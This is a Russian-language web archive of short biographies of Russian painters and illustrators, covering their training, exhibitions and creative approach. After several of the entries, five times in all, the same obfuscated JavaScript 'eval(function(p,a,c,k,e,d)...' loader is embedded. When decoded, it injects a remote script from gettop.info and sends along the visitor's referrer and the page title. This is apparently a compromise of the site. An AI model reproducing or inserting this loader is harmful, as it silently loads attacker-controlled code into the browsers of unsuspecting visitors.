Archive for the ‘Биографии художников’ Category

Shtikhno no.001Олег Штыхно родился в Новосибирске в 1961 году. Чудовищная удаленность от центра была зримым подтверждением тому, что путь к неведомым высотам искусства обещал быть длинным и непростым. В его детских воспоминаниях много деревенских впечатлений, оставшихся для него одними из самых ярких и дорогих. Свои первые этюды, написанные в деревеньке Гоголь, он бережно хранит как память о детстве, о местах, которых давно уже нет.

Потом была художественная школа в Омске, куда переехала семья. Его путь к будущей профессии был традиционным: за школой последовало художественное училище, далее институт. Но как непросто вступать на каждую следующую ступень этой лестницы, знает лишь тот, кто шаг за шагом прошел этот путь.

Поступить в знаменитое Московское художественное училище памяти 1905 года в те времена было сложно, но какой же музыкой звучало оно для счастливцев, оказавшихся в числе выпускников. Эта школа была с успехом освоена Олегом, но ему хотелось чего-то большего. После окончания училища он подал документы в Московский государственный академический художественный институт имени В.И. Сурикова, в мастерскую И.С. Глазунова – мастерскую портрета, но, к сожалению, недобрал баллы. Олег стал посещать портретную мастерскую в качестве вольного слушателя. После второго провала он, выдержав конкурс на должность художника сцены, пришел работать в мастерские Большого театра. Так в его жизни наступил краткий, но важный период. Мир театра с его особым языком сценографии был для него совершенно новым, возможно, дал ему первый импульс в направлении постепенного отказа от реалистического жизнеподобия в сторону большей условности. На следующий год он вновь штурмовал Суриковский. С третьей попытки крепость была взята.

В годы учебы Олег, стараясь вобрать в себя как можно больше из всего, что окружало его тогда, постепенно стал ощущать себя способным ставить и решать собственные творческие задачи. И чем дальше, тем более старался уже не по школьному, а в своем ключе писать заданные учебные постановки. Его стали заботить не только вопросы построения формы, но и вопросы стиля. Его понимание картины уже не укладывалось в академические рамки классической традиции. Он искал собственный живописный язык. И однажды, в конце пятого курса, перед итоговым просмотром услышал от И.С. Глазунова не без сарказма сказанное: «Да ты уже художник!» – и требование снять с экспозиции несколько работ.
Определенный ключ к пониманию Олега Штыхно как художника содержится в именах тех, кого он считает своими учителями. Так в этом перечне рядом с «теоретиком» Леонардо да Винчи оказывается тонкий лирик Исаак Левитан, у которого Олег учился пониманию пейзажа, Эндрю Уайет, мастер острой композиции, Сальвадор Дали, Густав Климт и другие.

Он воспринимает живопись не как возможность изобразить некое событие, а как способ воплотить в материальную форму определенные идеи. «Я никогда не хотел быть историческим живописцем», – говорит он. Для него не представляют интерес моделирование конкретно исторической ситуации, реконструкция того или иного имевшего место события в прошлом – для него это слишком частная задача. По собственному его уверению, его не увлекают и бытовые сюжеты. Простое запечатление бытия для него уже малоинтересно. Форма покорилась, отныне властвует Идея.

Shtikhno no.002Изображения живых существ в его картинах лишь внешне правдоподобны – они результат изощренного отбора, проделанного художником ради выявления некой пластичной формулы знака. В этюде он ценит прежде всего чистоту звучания цвета, свежесть мотива, точность отношений. Он любит писать этюды и делает это по сей день. Часто в них присутствует реальный мир живой природы, чрезвычайно им любимой, очень русской, щемящей любовью, в которой всегда есть тоска о непоправимо уходящем времени и мире. Но, переходя от этюдов к пейзажу-картине, он меняет способ изложения. Его пейзажи неописательны. Если это и рассказ о месте, то рассказ вполне объективный. Это, как правило, не столько знаки уголков природы, сколько знаки состояния – и природы, и собственной души. Для него недостаточно просто любоваться красотой мотива, ему важно через образы «мира вокруг» сказать о чем-то внутри себя – пейзаж, жанр к этому располагают.
Он очень разный в своих работах и к этому разнообразию сознательно стремится. Для каждой занимающей его темы он выбирает новый подход – по технике, стилистике, композиционному построению. Возникает впечатление, будто некая абстрактная идея, самостоятельно творящая форму для своего вещественного бытия, начинает постепенно трансформировать подходящий материал, интерпретируя предмет, пейзажный мотив или человеческое существо до максимальной адекватности себе.

Олег Штыхно не принадлежит к разряду хранителей художественной традиции в ее незыблемой классической форме – скорее, к числу ее продолжателей в постоянном живом развитии; именно так им понимается задача художника в любую эпоху.

По материалам газеты «Праволсавная Осетия»eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Из публикаций на сайте телеканала Культура

Bystritskaya no.002Ее картины рождаются во время путешествий. Она берет с собой в дорогу не альбом для зарисовок, а холсты и сразу пишет маслом. Главное, говорит Галина Быстрицкая, чтобы «зацепило». Зацепить ее могут самые прозаические вещи: деревенский пейзаж, одинокие старики, собаки на пляже, и тогда можно работать двадцать четыре часа в сутки. Так было во время поездки в Венецию, когда художница писала даже по ночам. «Через несколько дней пошел такой потрясающий импульс от города, что я не могла спать. Я работала непрерывно. У меня дрожали руки от возбуждения. То есть, я понимала, что теряю каждую минуту, если не пишу», – рассказывает Быстрицкая.

В результате за двадцать дней пребывания в Венеции она написала двадцать четыре картины. Однако так бывает не всегда. Например, после поездки в Китай не появилось ни одной работы. Галина Быстрицкая делит страны на «свои» и «чужие». «Своей» оказалась Индия, куда художница отправилась сразу после Венеции. Там не обошлось без приключений. Ей пришлось плыть на лодке по каналу среди рисовых полей. «Мы два дня плыли в такой лодке, я писала прямо в движении работы. Потом мы жили в джунглях, на дереве, на тридцатиметровом расстоянии, на баньяне, затем мы были на побережье, где я писала рыбаков», – продолжает художница.

Галина Быстрицкая стремится объять необъятное. Ей хочется все успеть и почувствовать, острее ощутить окружающую жизнь, получить импульс для творчества. Ее картины – это сгусток энергии, симфония красок. «Это попытка пробиться к первоосновам ощущений, которые именно в этом географическом месте, как в узле, как она говорит, концентрируются», – говорит искусствовед Анна Чудецкая.eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Статья Вадима Истомина для журнала «Моя Москва«

Antonova no.002Работы члена Творческого Союза художников России Елены Антоновой действительно уникальны, хотя бы и потому, что находятся на стыке живописи, графики и керамики. Она — единственная художница по керамике, которую допускают на исключительно художественные выставки-ярмарки «Арт-Манеж». Да это ведь действительно живопись, только не по традиционному холсту, а по керамической пластине! Не случайно свои работы Антонова заключает в традиционную для картин рамку…

Архитектор по образованию, она получила блестящую школу живописи у В.С. Атанова. И поскольку не любила черчения, предпочитая работать с красками, то так и не стала создавать проекты домов, а увлеклась живописной керамикой. Да, именно живописью по керамике. Впрочем, образование явно отразилось на ее творчестве — она начинала с городских пейзажей, видов старой Москвы, ее двориков и улиц, старинных домиков и храмов. Многие виды художник почерпнула не только с натуры, но и со старых гравюр, фотографий, из уникальной книги старых столичных видов «Уничтоженная Москва». Часть пейзажей она придумывает сама, сочетая части известных видов… Таких художников в столице, пишущих Москву, как ни странно, можно пересчитать по пальцам! В этой особости Антоновой мы вновь видим непередаваемую грань ее творческой самобытности…

Antonova no.001Работа с керамикой трудна и порой неблагодарна. Нужно не один час разминать пальцами глину, чтобы потом раскатать глиняную пластину и вылепить на ней рельеф, который обычно проступает на переднем плане ее пейзажа, подсушить пластину, сделать карандашом графический эскиз картины, поработать с красками, да не в один заход, чтобы сделать обжиг, во время которого краски меняют свои оттенки, а хрупкость легко бьющегося керамического <холста» заставляет быть очень и очень осторожным! Зато готовая работа становится необыкновенной — объемной, сочной, красочность и легкость цвета которой напоминает то ли акварель, то ли пастель. За счет вылепленного переднего плана ее пейзажи получаются объемными с очевидной глубиной и перспективой улиц…

— Цвет — мой любимый «конек», — говорит Антонова. — Очень интересно работать красками по обжигу — не всегда можно представить, какой оттенок в результате получится. И, что интересно, Москва обычно получается у меня теплой, а, скажем, Петербург — значительно холоднее… В последнее время Антонова лепит и пишет по заказам натюрморты, цветочные и абстрактные композиции.

Она участвует в художественных выставках с 1992 года. Ее работы украшают галереи и многие частные коллекции. И неудивительно — каждая работа художницы уникальна и считается весьма самобытным и ценным подарком.eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Посмотреть картины художника

Белякова Елена Валентиновна родилась в Москве в 1963 году. Училась в Московской средней художественной школе при институте имени В.И.Сурикова. В 1988г. окончила Московский государственный художественный институт им. В.И.Сурикова. Училась у профессора Т.Т.Салахова, действительного члена Академии Художеств России. C 1989 г. Член Московского Союза Художников.

Постоянный участник московских «Осенних и Весенних» выставок и выставок, организуемых МСХ. Работы находятся в Музее современного искусства г.Москва, Галерее современного искусства, Ургенч (Узбекистан), Нижнетагильском музее изобразительных искусств, в Омском музее имени Врубеля, а также в частных коллекциях в России, Германии (F.W.Olsen Hamburg), США (коллекция Марлы Мейер), Венгрии, Бельгии, Испании (Art International Gallery Bilbao), в коллекции Фонда – 7, в собрании King’s Gallery.

Выставки:

1986 — Всесоюзная выставка дипломов. Манеж. Москва.

1987 — Выставка «Всемирному конгрессу женщин«. Москва. Кузнецкий мост 11.

1988 — Выставка молодых художников. Болгария.

1989 — Выставка (совместно с К. Папикяном). Москва. Беговая 7/9.

1990 — Международный пленер. «Закарпатская осень«. Ужгород.

1990 — Групповая выставка (С.Бычков, А.Смирнов, К.Папикян, Ю.Нерода). Москва. ЦДРИ.

1991 — Выставка «Русские и Литовские живописцы«. Штутгарт. Германия.

1993 — Выставка (совместно с К.Папикяном). Москва. Выставочный зал на Тверской 18.

1996 — Выставка в галерее «Московский художник«.

1997 — Персональная экспозиция. Галерея «Книга песка«. Москва. АртМанеж.

1999 — IX Всероссийская художественная выставка. Манеж. Москва.

2000 — Выставка «C.ПетербургМосква«. С.Петербург.

2001 — Музей Современного Искусства. Москва.

2002 — Выставка «МоскваС.Петербург«. Москва.

2003 — Выставка «70 лет МСХ«. Москва. Манеж.

2004 — Выставка 20-и московских живописцев Москва. Кузнецкий мост 20.

2006 — Групповая выставка 6-и московских художников Кузнецкий мост 20.

2006 — Международный проект Musee de la Poste ФранцияРоссия.

2007 — Участие в постоянной экспозиции Фонда – 7 Москва. Смоленский бр.

2008 — «Традиции и современность» ЦВЖ «Манеж«. Москва.

2008 — «Артесания» Москва «Новый Манеж«, Кинг галерея.

2008 — Выставка Московских живописцев «Мост«. Москва. Кузнецкий мост 11.

Посмотреть картины художника

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

«Предки мои из нижегородских глубин, но родиться меня угораздило в замечательном, тогда ещё российском, городе Ялте. Правда, через год после моего рождения этот благословенный край был украден у России и преподнесён в дар Украине. И хотя в своей жизни мне пришлось немало кочевать по городам и сёлам, Крым – единственное место, где я чувствую себя в ладу с собой.

В детстве я жил попеременно в Ялте у бабушки с дедушкой, под Калининградом (Кенинсбергом), в деревне Майское, где отец тогда был председатель колхоза, а мама учительствовала в начальной школе, а также в деревне Киселихе Горьковской области у других бабушки с дедушкой.

Когда мне было шесть лет, я решил стать художником. Решение это было принято в связи с тем, что однажды на уроке рисования в ялтинском детском садике я изобразил пароходик с большой трубой и дымом над ней, и общим мнением мой рисунок был признан лучшим.

В десять лет я наконец-то перешёл к оседлому образу жизни в г.Горьком, где закончил 9 классов общеобразовательной школы, а потом художественное училище.

Мне было тринадцать лет, когда у одноклассника Серёжи Гашина мне попалась на глаза пачка журналов «Америка». Я выменял у него эту стопку журналов, расставшись с самой дорогой моей вещью – старым французским револьвером. С этого времени начинается период моей антисоветской, прозападной ориентации, которая в период горбачёвской перестройки плавно перелилась в демократическую. Окончательно моя любовь к западу скончалась летом 1999 года, когда натовская свора вместе с нашими бывшими братскими странами напали на Сербию. Под лицемерной маской западного друга я наконец-то разглядел врага.

В 1973 году по окончании горьковского художественного училища я поступил на художественный факультет ВГИКа. В 1979 году получив диплом с отличием, отслужил полтора года в армии.

По возвращении из армии меня пригласили преподавать во ВГИК, где я и прибываю по сию пору, хотя особо одарённым педагогом не чувствовал себя никогда. Ещё учась в институте я занялся иллюстрированием книг и журналов, на что потратил 80% своей творческой энергии и жизни, в промежутках между книжными работами, занимаюсь станковой живописью и графикой.

Раньше я любил путешествовать. Из зарубежных поездок наиболее интересным было путешествие по Индии, которое я предпринял в 1995 году, проехав всю страну от Гималаев до самой южной точки Канья-Кумари. В последнее время страсть к перемещениям в пространстве значительно поулеглась. Больше всего я люблю находиться в своей мастерской, работая, или просто бездельничая». eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))